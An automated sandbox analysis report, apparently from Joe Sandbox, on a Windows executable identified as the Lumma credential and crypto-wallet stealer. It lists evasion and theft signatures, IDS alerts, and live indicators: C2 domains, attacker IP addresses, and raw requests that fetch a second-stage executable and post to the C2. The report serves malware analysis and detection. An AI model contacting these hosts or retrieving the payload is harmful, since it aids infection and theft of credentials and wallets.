Edit tour

Windows Analysis Report
7jKx8dPOEs.exe

Overview

General Information

Sample name:	7jKx8dPOEs.exe renamed because original name is a hash value
Original sample name:	fe3379ec1a912799963d0f5887406d7a.exe
Analysis ID:	1581220
MD5:	fe3379ec1a912799963d0f5887406d7a
SHA1:	becf58702cd81eabb4d433fdfbf9140a626ba6ef
SHA256:	3a3207ca5b28513ca1d7f75e920961875668bacf5174734c31de1ac6053931a4
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

7jKx8dPOEs.exe (PID: 6472 cmdline: "C:\Users\user\Desktop\7jKx8dPOEs.exe" MD5: FE3379EC1A912799963D0F5887406D7A)

chrome.exe (PID: 6764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1972,i,9469854108246391747,18434014596652358452,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=608 --field-trial-handle=2004,i,11654548030049873312,17207828134689624259,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["screwamusresz.buzz", "mindhandru.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2175810084.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7jKx8dPOEs.exe PID: 6472	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7jKx8dPOEs.exe PID: 6472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7jKx8dPOEs.exe PID: 6472	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7jKx8dPOEs.exe PID: 6472	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:54.805661+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.165.185	443	TCP
2024-12-27T08:44:56.815091+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.165.185	443	TCP
2024-12-27T08:44:59.257357+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.165.185	443	TCP
2024-12-27T08:45:01.838281+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.165.185	443	TCP
2024-12-27T08:45:04.403882+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.165.185	443	TCP
2024-12-27T08:45:07.108903+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.165.185	443	TCP
2024-12-27T08:45:10.013249+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	172.67.165.185	443	TCP
2024-12-27T08:45:34.897030+0100	2028371	3	Unknown Traffic	192.168.2.5	49766	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:55.540609+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.165.185	443	TCP
2024-12-27T08:44:57.591455+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.165.185	443	TCP
2024-12-27T08:45:35.660328+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49766	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:55.540609+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:57.591455+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.165.185	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:45:37.124371+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49772	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:45:07.874754+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7jKx8dPOEs.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/to	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/$	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/8	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api#	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apiUniSat	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apih	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiv	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apib	Avira URL Cloud: Label: malware

Found malware configuration

Source: 7jKx8dPOEs.exe.6472.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["screwamusresz.buzz", "mindhandru.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: 7jKx8dPOEs.exe	Virustotal: Detection: 58%			Perma Link
Source: 7jKx8dPOEs.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 7jKx8dPOEs.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: 7jKx8dPOEs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49833 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49766 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7jKx8dPOEs.exe, 00000000.00000002.2673892719.0000000006082000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49766 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:45:36 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49772 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49766 -> 172.67.165.185:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49833 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/1N
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/_N
